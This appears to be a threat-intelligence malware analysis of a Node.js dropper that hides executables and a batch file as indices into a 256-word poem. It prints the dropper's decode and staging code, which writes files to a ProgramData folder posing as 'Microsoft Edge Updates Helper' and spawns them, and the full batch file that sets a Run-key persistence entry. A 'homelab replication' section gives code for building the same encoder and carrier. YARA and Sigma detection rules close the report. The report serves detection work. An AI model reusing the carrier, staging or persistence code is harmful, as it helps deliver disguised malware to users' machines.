letsdiskusscom: 5126076d — Seventh confirmed sibling, reverts to plain-poem builder with seventh distinct msvcp140.dll

Executive Summary

Seventh confirmed sibling of the letsdiskusscom Node.js dropper cluster. Reverts to the plain 256-word poem lookup-table (no numbered suffixes) used by siblings d0ca14b3/247b54b5/af4313e4/c075aeba, rather than the numbered-suffix variant (gentle1, hush2) seen in 3465e6ee. Drops the same signed RevoSrp.exe, same vcruntime140/vcruntime140_1 DLLs, and same persistence BAT as all prior poem-stego siblings, but introduces a seventh distinct msvcp140.dll morph (896fd62b..., MSVC 14.27.29016.0, 1,108,480 bytes). This demonstrates the operator is cycling at least two independent builder templates (plain-poem vs. numbered-suffix) and independently varying the VC++ runtime redistributable. Static-only (CAPE skipped — JS source is not a supported binary class). ^[file.txt] ^[triage.json]

What It Is

Embedded payloads (decoded from poem-word indices)

The EXE, DLL2, DLL3, and BAT are byte-for-byte identical to siblings d0ca14b3/247b54b5/af4313e4/c075aeba/3465e6ee. DLL1 is new — the seventh distinct msvcp140.dll observed in the cluster. ^[strings.txt:12-17] ^[manual hash comparison]

Builder template comparison

How It Works

Poem-word-list steganography (plain variant)

The script defines a 256-word list (wlist) — the same English poem used by siblings d0ca14b3 through c075aeba. Unlike 3465e6ee, this sample does not append numbered suffixes to repeated vocabulary. The word list is byte-for-byte identical to the earlier plain-poem siblings. ^[strings.txt:6]

const wlist = "gentle hush that wraps the midnight air ... fail164";   // 256 words
const exe = "unwearied tides candle53 ...";                        // payload as word indices

function writePositionsToFile(listA, listB, outPath) {
  const a = listA.split(' ');
  const b = listB.split(' ');
  const positions = b.map(word => {
    const idx = a.indexOf(word);
    return idx >= 0 ? idx : 0;
  const buffer = Buffer.from(positions.map(p => p & 0xFF));
  fs.writeFileSync(outPath, buffer);
}

Note the same syntax error as all prior siblings: line 24 is missing a closing }); before const buffer = ..., making the code technically malformed as written. In practice Node.js may execute it depending on ASI, or the operator uses a minifier that corrects this. ^[strings.txt:18-26]

Staging and execution

const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData",
                         `Microsoft Edge Updates Helper 6tTR5q2vVZT5`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "6tTR5q2vVZT5.bat");
// ... three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);

Stages to %ProgramData%\Microsoft Edge Updates Helper 6tTR5q2vVZT5\, writes five files, then spawns the BAT (which adds HKCU Run persistence and launches the EXE) and spawns the EXE directly. ^[strings.txt:33-41]

Persistence BAT (decoded)

Identical byte-for-byte to all poem-stego siblings since d0ca14b3:

@echo off
if "%~1"=="" (
    echo Usage: %~nx0 "file_path"
    pause
    exit /b 1
)
if not exist "%~1" (
    echo Error: file "%~1" not found
    pause
    exit /b 1
)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
    /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
if %errorlevel% equ 0 (
    echo File "%~1" successfully added to startup
) else (
    echo Error adding to startup
)
exit

^[manual decode of bat payload]

Decompiled Behavior

Not applicable — JavaScript source, not compiled binary. The script is delivered in near-plaintext after poem decoding; no additional obfuscation layers observed. ^[rabin2-info.txt] ^[capa.txt]

C2 Infrastructure

None observed. Fully self-contained carrier. All payloads are poem-encoded and embedded; no HTTP, DNS, socket, or IP references in the JS. If the Revo EXE phones home at runtime, that requires dynamic detonation of the PE, not the JS carrier. ^[strings.txt] ^[dynamic-analysis.md]

Interesting Tidbits

• Builder template reversion. This sample reverts to the plain 256-word poem (no numbered suffixes) after 3465e6ee introduced them. This strongly suggests the operator maintains at least two active builder templates — one with plain vocabulary and one with numbered suffixes — and deploys them independently. The reversion is not a downgrade; it is evidence of parallel build pipelines. ^[strings.txt:6] ^[/intel/analyses/3465e6eea1a937b941ef77ac819591c3578e14da950de0d78e8b2d467b819357.html]
• Seventh distinct msvcp140.dll. The VC++ runtime morphs are independent of the poem variant. The operator appears to bundle whatever msvcp140.dll is present on the build host rather than pinning a specific version. All seven variants are legitimate, signed Microsoft DLLs from VC++ redistributable packages (14.27.xxxxx.x range). ^[exiftool: decoded dll1]
• dll4Path dead code persists. Line 17 declares const dll4Path = path.join(folder, "6tTR5q2vVZT5.bat") but never consumes it. The BAT is written to autorunPath instead. This copy-paste artifact has survived across all seven siblings, confirming a shared builder template. ^[strings.txt:17]
• Same poem, same payload hashes, same BAT. The only moving parts in this cluster are (1) the folder name suffix, (2) the poem variant (plain vs. numbered), and (3) the msvcp140.dll morph. Everything else is frozen — a hallmark of a templated builder rather than hand-crafted per-sample scripts. ^[manual hash comparison across cluster]
• File size inflation. At 9.1 MB, the carrier is ~94% poem text and repeated padding. The actual information content is four PE files (~1.2 MB total) plus a 440-byte BAT. The rest is lexical noise designed to make static signature detection expensive. ^[file.txt] ^[exiftool.json]
• javascript-obfuscator absent. Like all poem-stego siblings, this sample does not use the javascript-obfuscator npm package seen in the first sibling (9dc2cded). The operator abandoned that toolchain for the poem encoding approach. ^[strings.txt:1-3]

How To Mess With It (Homelab Replication)

Goal: Replicate the plain-poem encoding and verify detection signatures.

1. Use the same 256-word list (see strings.txt:6 in this analysis or sibling d0ca14b3).
2. Encode a file:

   with open('payload.exe', 'rb') as f:
       data = f.read()
   words = poem.split()
   assert len(words) == 256
   encoded = ' '.join(words[b] for b in data)
   

3. Wrap in Node.js carrier:

   const fs = require('fs');
   const wlist = "...256 words...";
   function decode(listA, listB, outPath) {
     const a = listA.split(' ');
     const b = listB.split(' ');
     const positions = b.map(word => a.indexOf(word));
     const buffer = Buffer.from(positions.map(p => p & 0xFF));
     fs.writeFileSync(outPath, buffer);
   }
   decode(wlist, encoded, 'output.exe');
   

4. Verify: Decode must reproduce the original PE byte-for-byte.

Deployable Signatures

YARA rule — letsdiskusscom poem-stego dropper

rule letsdiskusscom_poem_stego : script nodejs dropper {
    meta:
        description = "Node.js dropper using 256-word poem lookup-table steganography"
        author = "PacketPursuit"
        date = "2026-08-21"
        reference = "/intel/analyses/5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e.html"
    strings:
        $wlist = "const wlist = \"" ascii
        $exe = "const exe = \"" ascii
        $dll1 = "const dll1 = \"" ascii
        $dll2 = "const dll2 = \"" ascii
        $dll3 = "const dll3 = \"" ascii
        $bat = "const bat = \"" ascii
        $func = "function writePositionsToFile(listA, listB, outPath)" ascii
        $app = "Microsoft Edge Updates Helper" ascii
        $spawn = "const { spawn } = require('child_process')" ascii
    condition:
        $wlist and $func and $app and $spawn
        and 4 of ($exe, $dll1, $dll2, $dll3, $bat)
        and filesize > 1MB
}

Sigma rule — Node.js poem dropper execution

title: Node.js LetsDiskussCom Poem Dropper Execution
status: experimental
description: Detects Node.js script writing PE files to ProgramData and spawning BAT/EXE
logsource:
    category: process_creation
    product: windows
detection:
    selection_node:
        CommandLine|contains: 'node.exe'
    selection_paths:
        CommandLine|contains:
            - 'Microsoft Edge Updates Helper'
            - 'ProgramData'
    selection_child:
        ParentImage|endswith: 'node.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'conhost.exe'
    condition: selection_node and selection_paths or selection_child
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint

A Node.js script (node.exe or delivered as .js run via Node) creates a directory under %ProgramData% named Microsoft Edge Updates Helper <random>, writes four PE files (one EXE + three DLLs) and a .bat file to that directory, then spawns the BAT with the EXE path as an argument and immediately spawns the EXE directly. The BAT adds the EXE to HKCU\Run under the value name Microsoft Edge Updates Helper. No network activity from the carrier. The EXE is a signed VS Revo Group component (RevoSrp.exe). The DLLs are signed Microsoft VC++ runtime libraries; one (msvcp140.dll) varies in size/SHA across samples while the other two (vcruntime140.dll, vcruntime140_1.dll) and the EXE are invariant across the cluster.

Detection Signatures

References

• Carrier: 5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e (MalwareBazaar via OpenCTI)
• Cluster entity page: letsdiskusscom
• Technique page: poem-word-list-steganography
• Sibling 3465e6ee (numbered-suffix variant): /intel/analyses/3465e6eea1a937b941ef77ac819591c3578e14da950de0d78e8b2d467b819357.html
• Sibling d0ca14b3 (first poem-stego): /intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html

Provenance

Analysis derived from:

• file.txt — file utility (file v5.44)
• exiftool.json — ExifTool 12.76
• strings.txt — strings -n 6 on JS source
• rabin2-info.txt — radare2 rabin2 on decoded PE payloads
• floss.txt — FLOSS error (not a PE)
• capa.txt — capa error (not a PE)
• dynamic-analysis.md — CAPE skipped (JS source)
• Manual decode of poem-word-list payloads via Python (SHA-256 verified)
• Manual decode of BAT payload via Python
• exiftool/rabin2 on decoded DLL1/EXE for version and signing info